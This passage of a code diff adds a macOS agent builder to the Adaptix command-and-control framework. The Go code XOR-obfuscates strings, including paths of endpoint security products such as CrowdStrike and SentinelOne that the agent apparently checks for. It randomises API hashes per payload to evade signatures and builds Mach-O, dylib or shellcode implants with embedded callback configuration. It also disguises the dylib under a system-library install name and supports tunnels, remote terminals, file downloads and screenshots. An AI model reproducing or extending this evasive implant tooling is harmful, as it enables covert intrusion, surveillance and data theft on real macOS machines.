+ {"OBF_LS", "/bin/ls"},
+ {"OBF_TMP", "/tmp"},
+ {"OBF_SYSVER_PLIST", "/System/Library/CoreServices/SystemVersion.plist"},
+ {"OBF_CHROME_DEFAULT", "Library/Application Support/Google/Chrome/Default/"},
+
+ // EDR product paths — critical YARA targets
+ {"OBF_EDR_CS_FALCONCTL", "/Library/CS/falconctl"},
+ {"OBF_EDR_CS_FALCON", "/Library/Application Support/com.crowdstrike.falcon"},
+ {"OBF_EDR_ADDIGY", "/Library/Addigy/auditor"},
+ {"OBF_EDR_MALWAREBYTES", "/Library/Application Support/Malwarebytes"},
+ {"OBF_EDR_JAMF", "/Library/Application Support/JAMF"},
+ {"OBF_EDR_S1_APP", "/Applications/SentinelOne/SentinelAgent.app"},
+ {"OBF_EDR_S1_LIB", "/Library/Sentinel/sentinel-agent.bundle"},
+ {"OBF_EDR_ES_KEXT", "/Library/Extensions/EndpointSecurity.kext"},
+ {"OBF_EDR_SOPHOS", "/Library/Application Support/Sophos"},
+ {"OBF_EDR_ELASTIC", "/Library/Application Support/com.elastic.endpoint"},
+ {"OBF_EDR_BLOCKBLOCK", "/Applications/BlockBlock Helper.app"},
+ {"OBF_EDR_LULU", "/Applications/LuLu.app"},
+ {"OBF_EDR_KNOCKKNOCK", "/Applications/KnockKnock.app"},
+ {"OBF_EDR_REIKEY", "/Applications/ReiKey.app"},
+ {"OBF_EDR_XPROTECT", "/Library/Apple/System/Library/Extensions/AppleHV.kext"},
+}
+
+// generateObfStrings generates a strings_obf.h with XOR-encoded sensitive strings.
+func generateObfStrings() string {
+ key := make([]byte, 16)
+ _, _ = rand.Read(key)
+
+ var b strings.Builder
+ b.WriteString("#pragma once\n\n")
+ b.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n\n")
+ b.WriteString("#include \n\n")
+
+ // Write XOR key defines
+ for i := 0; i < 16; i++ {
+ b.WriteString(fmt.Sprintf("#define XOR_KEY_%d 0x%02x\n", i, key[i]))
+ }
+ b.WriteString("\n")
+
+ // XOR key array
+ b.WriteString("static const uint8_t _xor_key[16] = {\n ")
+ for i := 0; i < 16; i++ {
+ b.WriteString(fmt.Sprintf("XOR_KEY_%d", i))
+ if i < 15 {
+ b.WriteString(", ")
+ }
+ if i == 7 {
+ b.WriteString("\n ")
+ }
+ }
+ b.WriteString("\n};\n\n")
+
+ // xor_decode function + macros
+ b.WriteString(`static inline void xor_decode(char* buf, const uint8_t* enc, int len) {
+ for (int i = 0; i < len; i++) {
+ buf[i] = (char)(enc[i] ^ _xor_key[i % 16]);
+ }
+ buf[len] = '\0';
+}
+
+#define DEOBF(var_name, obf_array) \
+ char var_name[sizeof(obf_array)]; \
+ xor_decode(var_name, obf_array, sizeof(obf_array) - 1)
+
+#define ZERO_STR(var_name, obf_array) do { \
+ volatile char* _p = (volatile char*)(var_name); \
+ for (unsigned _i = 0; _i < sizeof(obf_array); _i++) _p[_i] = 0; \
+} while(0)
+
+`)
+
+ for _, entry := range obfuscatedStrings {
+ data := []byte(entry.value)
+ b.WriteString(fmt.Sprintf("// \"%s\" (%d bytes)\n", entry.value, len(data)))
+ b.WriteString(fmt.Sprintf("static const uint8_t %s[] = {\n ", entry.define))
+ for i, ch := range data {
+ enc := ch ^ key[i%16]
+ if i > 0 && i%12 == 0 {
+ b.WriteString("\n ")
+ }
+ b.WriteString(fmt.Sprintf("0x%02x", enc))
+ if i < len(data)-1 {
+ b.WriteString(", ")
+ }
+ }
+ // XOR'd null terminator
+ nullEnc := byte(0) ^ key[len(data)%16]
+ b.WriteString(fmt.Sprintf(", 0x%02x", nullEnc))
+ b.WriteString("\n};\n\n")
+ }
+
+ return b.String()
+}
+
+// generateMacosApiDefines generates the ApiDefines.h content for macOS
+// with DJB2 hashes computed using the given random seed.
+func generateMacosApiDefines(seed uint32) string {
+ var b strings.Builder
+ b.WriteString("#pragma once\n\n")
+ b.WriteString("// Auto-generated — per-payload DJB2 hashes\n")
+ b.WriteString(fmt.Sprintf("// Seed: 0x%08x\n\n", seed))
+
+ // Library hashes
+ b.WriteString("// ── Library hashes (dylib basenames) ──\n")
+ for _, lib := range macosLibs {
+ h := djb2Hash(seed, lib.libName)
+ pad := 40 - len(lib.define)
+ if pad < 1 {
+ pad = 1
+ }
+ b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", lib.define, strings.Repeat(" ", pad), h))
+ }
+ b.WriteString("\n")
+
+ // Function hashes
+ for _, section := range macosFuncSections {
+ b.WriteString(section.comment + "\n")
+ for _, entry := range section.funcs {
+ h := djb2Hash(seed, entry.name)
+ pad := 40 - len(entry.define)
+ if pad < 1 {
+ pad = 1
+ }
+ b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", entry.define, strings.Repeat(" ", pad), h))
+ }
+ b.WriteString("\n")
+ }
+
+ return b.String()
+}
diff --git a/AdaptixServer/extenders/macos_agent/pl_main.go b/AdaptixServer/extenders/macos_agent/pl_main.go
new file mode 100644
index 000000000..8d516c33b
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/pl_main.go
@@ -0,0 +1,1876 @@
+package main
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "encoding/base64"
+ "encoding/binary"
+ "encoding/hex"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "io"
+ mrand "math/rand/v2"
+ "os"
+ "strconv"
+ "strings"
+ "time"
+
+ "github.com/Adaptix-Framework/axc2"
+ "github.com/google/shlex"
+ "github.com/vmihailenco/msgpack/v5"
+)
+
+type Teamserver interface {
+ TsListenerInteralHandler(watermark string, data []byte) (string, error)
+
+ TsAgentProcessData(agentId string, bodyData []byte) error
+
+ TsAgentUpdateData(newAgentData adaptix.AgentData) error
+ TsAgentTerminate(agentId string, terminateTaskId string) error
+ TsAgentUpdateDataPartial(agentId string, updateData interface{}) error
+
+ TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error
+ TsAgentBuildLog(builderId string, status int, message string) error
+
+ TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool)
+
+ TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error
+ TsGetPivotInfoByName(pivotName string) (string, string, string)
+ TsGetPivotInfoById(pivotId string) (string, string, string)
+ TsPivotDelete(pivotId string) error
+
+ TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData)
+ TsTaskUpdate(agentId string, data adaptix.TaskData)
+ TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error)
+
+ TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error
+ TsDownloadUpdate(fileId string, state int, data []byte) error
+ TsDownloadClose(fileId string, reason int) error
+ TsDownloadSave(agentId string, fileId string, filename string, content []byte) error
+
+ TsScreenshotAdd(agentId string, Note string, Content []byte) error
+
+ TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin)
+ TsClientGuiFilesStatus(taskData adaptix.TaskData)
+ TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin)
+ TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix)
+ TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin)
+ TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix)
+
+ TsTunnelStart(TunnelId string) (string, error)
+ TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error)
+ TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error)
+ TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error)
+ TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error)
+ TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error)
+
+ TsTunnelStopSocks(AgentId string, Port int)
+ TsTunnelStopLportfwd(AgentId string, Port int)
+ TsTunnelStopRportfwd(AgentId string, Port int)
+
+ TsTunnelConnectionClose(channelId int, writeOnly bool)
+ TsTunnelConnectionHalt(channelId int, errorCode byte)
+ TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool)
+ TsTunnelConnectionData(channelId int, data []byte)
+ TsTunnelConnectionAccept(tunnelId int, channelId int)
+ TsTunnelPause(channelId int)
+ TsTunnelResume(channelId int)
+
+ TsTerminalConnExists(terminalId string) bool
+ TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error)
+ TsTerminalConnResume(agentId string, terminalId string, ioDirect bool)
+ TsTerminalConnData(terminalId string, data []byte)
+ TsTerminalConnClose(terminalId string, status string) error
+
+ TsConvertCpToUTF8(input string, codePage int) string
+ TsConvertUTF8toCp(input string, codePage int) string
+ TsWin32Error(errorCode uint) string
+}
+
+type PluginAgent struct{}
+
+type ExtenderAgent struct{}
+
+var (
+ Ts Teamserver
+ ModuleDir string
+ AgentWatermark string
+)
+
+func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent {
+ ModuleDir = moduleDir
+ AgentWatermark = watermark
+ Ts = ts.(Teamserver)
+ return &PluginAgent{}
+}
+
+func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent {
+ return &ExtenderAgent{}
+}
+
+func makeProxyTask(packData []byte) adaptix.TaskData {
+ return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false}
+}
+
+func getStringArg(args map[string]any, key string) (string, error) {
+ v, ok := args[key].(string)
+ if !ok {
+ return "", fmt.Errorf("parameter '%s' must be set", key)
+ }
+ return v, nil
+}
+
+func getFloatArg(args map[string]any, key string) (float64, error) {
+ v, ok := args[key].(float64)
+ if !ok {
+ return 0, fmt.Errorf("parameter '%s' must be set", key)
+ }
+ return v, nil
+}
+
+func getBoolArg(args map[string]any, key string) bool {
+ v, _ := args[key].(bool)
+ return v
+}
+
+/// TUNNEL
+
+func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks {
+ return adaptix.TunnelCallbacks{
+ ConnectTCP: TunnelMessageConnectTCP,
+ ConnectUDP: TunnelMessageConnectUDP,
+ WriteTCP: TunnelMessageWriteTCP,
+ WriteUDP: TunnelMessageWriteUDP,
+ Close: TunnelMessageClose,
+ Reverse: TunnelMessageReverse,
+ Pause: TunnelMessagePause,
+ Resume: TunnelMessageResume,
+ }
+}
+
+func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
+ var packData []byte
+ addr := fmt.Sprintf("%s:%d", address, port)
+ packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr})
+ cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
+ var packData []byte
+ addr := fmt.Sprintf("%s:%d", address, port)
+ packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr})
+ cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData {
+ return makeProxyTask(data)
+}
+
+func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData {
+ return makeProxyTask(data)
+}
+
+func TunnelMessageClose(channelId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId})
+ cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData {
+ var packData []byte
+ return makeProxyTask(packData)
+}
+
+func TunnelMessagePause(channelId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId})
+ cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageResume(channelId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId})
+ cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+/// TERMINAL
+
+func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks {
+ return adaptix.TerminalCallbacks{
+ Start: TerminalMessageStart,
+ Write: TerminalMessageWrite,
+ Close: TerminalMessageClose,
+ }
+}
+
+func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW})
+ cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData {
+ return makeProxyTask(data)
+}
+
+func TerminalMessageClose(terminalId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId})
+ cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+////// PLUGIN AGENT
+
+type GenerateConfig struct {
+ Format string `json:"format"`
+ ReconnectTimeout string `json:"reconn_timeout"`
+ ReconnectCount int `json:"reconn_count"`
+}
+
+var SrcPath = "src_macos"
+
+func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) {
+ var agentProfiles [][]byte
+
+ for _, transportProfile := range profile.ListenerProfiles {
+
+ var listenerMap map[string]any
+ if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil {
+ return nil, err
+ }
+
+ var (
+ generateConfig GenerateConfig
+ profileData []byte
+ )
+
+ err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
+ if err != nil {
+ return nil, err
+ }
+
+ agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64)
+ if err != nil {
+ return nil, err
+ }
+
+ encrypt_key, _ := listenerMap["encrypt_key"].(string)
+ encryptKey, err := hex.DecodeString(encrypt_key)
+ if err != nil {
+ return nil, err
+ }
+
+ reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout)
+ if err != nil {
+ return nil, err
+ }
+
+ protocol, _ := listenerMap["protocol"].(string)
+ switch protocol {
+
+ case "tcp":
+
+ tcp_banner, _ := listenerMap["tcp_banner"].(string)
+
+ servers, _ := listenerMap["callback_addresses"].(string)
+
+ servers = strings.ReplaceAll(servers, " ", "")
+ servers = strings.ReplaceAll(servers, "\n", ",")
+ servers = strings.TrimSuffix(servers, ",")
+ addresses := strings.Split(servers, ",")
+
+ var sslKey []byte
+ var sslCert []byte
+ var caCert []byte
+ Ssl, _ := listenerMap["ssl"].(bool)
+ if Ssl {
+ ssl_key, _ := listenerMap["client_key"].(string)
+ sslKey, err = base64.StdEncoding.DecodeString(ssl_key)
+ if err != nil {
+ return nil, err
+ }
+
+ ssl_cert, _ := listenerMap["client_cert"].(string)
+ sslCert, err = base64.StdEncoding.DecodeString(ssl_cert)
+ if err != nil {
+ return nil, err
+ }
+
+ ca_cert, _ := listenerMap["ca_cert"].(string)
+ caCert, err = base64.StdEncoding.DecodeString(ca_cert)
+ if err != nil {
+ return nil, err
+ }
+ }
+
+ profile := Profile{
+ Type: uint(agentWatermark),
+ Addresses: addresses,
+ BannerSize: len(tcp_banner),
+ ConnTimeout: reconnectTimeout,
+ ConnCount: generateConfig.ReconnectCount,
+ UseSSL: Ssl,
+ SslCert: sslCert,
+ SslKey: sslKey,
+ CaCert: caCert,
+ }
+ profileData, _ = msgpack.Marshal(profile)
+
+ default:
+ return nil, errors.New("protocol unknown")
+ }
+
+ extHandler := ExtenderAgent{}
+ profileData, _ = extHandler.Encrypt(profileData, encryptKey)
+ profileData = append(encryptKey, profileData...)
+
+ profileString := ""
+ for _, b := range profileData {
+ profileString += fmt.Sprintf("\\x%02x", b)
+ }
+ agentProfiles = append(agentProfiles, []byte(profileString))
+ }
+ return agentProfiles, nil
+}
+
+/// Native C agent build constants
+var (
+ NativeSrcDir = "src_agent/agent"
+ NativeCompiler = "aarch64-apple-darwin23.5-clang"
+ NativeCFlags = "-Os -fno-stack-protector -fno-builtin -Wall -Wextra -Wno-unused-parameter -Wno-unused-function"
+ NativeLFlags = "-lSystem -framework CoreFoundation"
+ NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_macos", "jobs", "tasks_async", "tasks_net", "dyld_resolve", "opsec"}
+)
+
+func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) {
+ var (
+ Filename string
+ Payload []byte
+ )
+
+ var (
+ generateConfig GenerateConfig
+ buildPath string
+ )
+
+ err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
+ if err != nil {
+ return nil, "", err
+ }
+
+ currentDir := ModuleDir
+ tempDir, err := os.MkdirTemp("", "ax-macos-*")
+ if err != nil {
+ return nil, "", err
+ }
+
+ switch generateConfig.Format {
+ case "Binary Mach-O (Native)":
+ return p.buildNativePayload(profile, agentProfiles, generateConfig, currentDir, tempDir)
+ case "Shellcode ARM64 (Native)":
+ return p.buildNativeShellcode(profile, agentProfiles, generateConfig, currentDir, tempDir)
+ case "Binary Mach-O":
+ Filename = "agent.bin"
+ case "Dylib":
+ Filename = "agent.dylib"
+ default:
+ Filename = "agent.bin"
+ }
+
+ // ── Go build pipeline (existing) ──
+
+ GoOs := "darwin"
+ GoArch := "arm64"
+
+ buildPath = tempDir + "/" + Filename
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: %s/%s (Apple Silicon), Output: %s", GoOs, GoArch, Filename))
+
+ // Write embedded profile config
+ config := "package main\n\nvar encProfiles = [][]byte{\n"
+ for _, p := range agentProfiles {
+ config += fmt.Sprintf(" []byte(\"%s\"),\n", p)
+ }
+ config += "}\n"
+
+ configPath := currentDir + "/" + SrcPath + "/config.go"
+ err = os.WriteFile(configPath, []byte(config), 0644)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+
+ // OPSEC: Per-payload variation — unique XOR key + build nonce
+ xorKey := make([]byte, 16)
+ _, _ = rand.Read(xorKey)
+ buildNonce := make([]byte, 32)
+ _, _ = rand.Read(buildNonce)
+
+ obfStrings := generateObfuscatedStrings(xorKey, buildNonce)
+ obfPath := currentDir + "/" + SrcPath + "/utils/strings_obf.go"
+ err = os.WriteFile(obfPath, []byte(obfStrings), 0644)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("OPSEC: XOR key generated (%s...), strings obfuscated", hex.EncodeToString(xorKey[:4])))
+
+ LdFlags := "-s -w -buildid="
+ GcFlags := "all=-B -C"
+ cmdBuild := fmt.Sprintf("GOWORK=off CGO_ENABLED=0 GOOS=%s GOARCH=%s go build -trimpath -gcflags=\"%s\" -ldflags=\"%s\" -o %s", GoOs, GoArch, GcFlags, LdFlags, buildPath)
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Starting build process (darwin/arm64)...")
+
+ var buildArgs []string
+ buildArgs = append(buildArgs, "-c", cmdBuild)
+ err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir+"/"+SrcPath, "sh", buildArgs...)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+
+ Payload, err = os.ReadFile(buildPath)
+ if err != nil {
+ return nil, "", err
+ }
+ _ = os.RemoveAll(tempDir)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload)))
+
+ return Payload, Filename, nil
+}
+
+/// ── Native C build pipeline (osxcross) ──
+
+func (p *PluginAgent) buildNativePayload(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) {
+ Filename := "agent_native.bin"
+ buildPath := tempDir + "/" + Filename
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Native C, Apple Silicon)")
+
+ // srcDir is relative to currentDir (which is used as runner.Dir)
+ srcDir := NativeSrcDir
+
+ // ── Step 1: Generate config.h with encrypted profile data ──
+ configContent := generateNativeConfig(agentProfiles)
+ configPath := tempDir + "/config.h"
+ if err := os.WriteFile(configPath, []byte(configContent), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write config.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles)))
+
+ // ── Step 1b: Generate per-payload DJB2 seed + ApiDefines.h ──
+ djb2Seed := cryptoRandUint32()
+ apiDefinesContent := generateMacosApiDefines(djb2Seed)
+ apiDefinesPath := tempDir + "/ApiDefines.h"
+ if err := os.WriteFile(apiDefinesPath, []byte(apiDefinesContent), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write ApiDefines.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed))
+
+ // ── Step 1c: Generate per-payload XOR-obfuscated strings ──
+ obfContent := generateObfStrings()
+ obfPath := tempDir + "/strings_obf.h"
+ if err := os.WriteFile(obfPath, []byte(obfContent), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write strings_obf.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)")
+
+ // ── Step 2: Build cflags — tempDir first for generated headers ──
+ cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", NativeCFlags, tempDir, srcDir, djb2Seed)
+
+ // ── Step 3: Compile each source file ──
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...")
+
+ compileSrc := func(srcFile string, outputName string) error {
+ outPath := tempDir + "/" + outputName + ".o"
+ cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s",
+ NativeCompiler, cFlags, srcFile, outPath)
+ return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr)
+ }
+
+ // Compile shared object files
+ for _, ofile := range NativeObjFiles {
+ if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile %s: %w", ofile, err)
+ }
+ }
+
+ // Compile main.c
+ if err := compileSrc(srcDir+"/main.c", "main"); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile main: %w", err)
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully")
+
+ // ── Step 4: Link ──
+ var objectFiles []string
+ for _, ofile := range NativeObjFiles {
+ objectFiles = append(objectFiles, tempDir+"/"+ofile+".o")
+ }
+ objectFiles = append(objectFiles, tempDir+"/main.o")
+
+ linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s",
+ NativeCompiler, NativeLFlags, buildPath, strings.Join(objectFiles, " "))
+ if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("link: %w", err)
+ }
+
+ // ── Step 5: Ad-hoc codesign ──
+ // Apple Silicon REQUIRES all binaries to be signed (even ad-hoc).
+ // The linker adds an ad-hoc signature, but strip removes it.
+ // We skip strip to preserve the signature — binary is already small (~100KB)
+ // and OPSEC benefits from no strip (less tooling fingerprint).
+ // If ldid is available, re-sign after strip for minimal size.
+ stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+
+ "if command -v ldid >/dev/null 2>&1; then "+
+ "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+
+ "fi", buildPath, buildPath)
+ _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign)
+
+ // ── Read output ──
+ Payload, err := os.ReadFile(buildPath)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ _ = os.RemoveAll(tempDir)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native Mach-O ARM64)", len(Payload)))
+
+ return Payload, Filename, nil
+}
+
+/// ── Native C shellcode build pipeline (dylib + XOR encoder) ──
+
+func (p *PluginAgent) buildNativeShellcode(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) {
+ Filename := "agent_shellcode.bin"
+ dylibPath := tempDir + "/agent_native.dylib"
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Shellcode ARM64, Native C)")
+
+ srcDir := NativeSrcDir
+
+ // ── Step 1: Generate config.h, ApiDefines.h, strings_obf.h (same as Mach-O) ──
+ configContent := generateNativeConfig(agentProfiles)
+ if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write config.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles)))
+
+ djb2Seed := cryptoRandUint32()
+ if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateMacosApiDefines(djb2Seed)), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write ApiDefines.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed))
+
+ if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write strings_obf.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)")
+
+ // ── Step 2: Compile with -DBUILD_DYLIB ──
+ cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU -DBUILD_DYLIB", NativeCFlags, tempDir, srcDir, djb2Seed)
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (dylib mode, per-payload)...")
+
+ compileSrc := func(srcFile string, outputName string) error {
+ outPath := tempDir + "/" + outputName + ".o"
+ cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s",
+ NativeCompiler, cFlags, srcFile, outPath)
+ return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr)
+ }
+
+ for _, ofile := range NativeObjFiles {
+ if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile %s: %w", ofile, err)
+ }
+ }
+ if err := compileSrc(srcDir+"/main.c", "main"); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile main: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully (dylib mode)")
+
+ // ── Step 3: Link as dynamic library ──
+ var objectFiles []string
+ for _, ofile := range NativeObjFiles {
+ objectFiles = append(objectFiles, tempDir+"/"+ofile+".o")
+ }
+ objectFiles = append(objectFiles, tempDir+"/main.o")
+
+ dylibLFlags := "-dynamiclib -lSystem -framework CoreFoundation -Wl,-install_name,/usr/lib/libsystem_product.dylib"
+ linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s",
+ NativeCompiler, dylibLFlags, dylibPath, strings.Join(objectFiles, " "))
+ if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("link dylib: %w", err)
+ }
+
+ // ── Step 4: Strip + ad-hoc sign ──
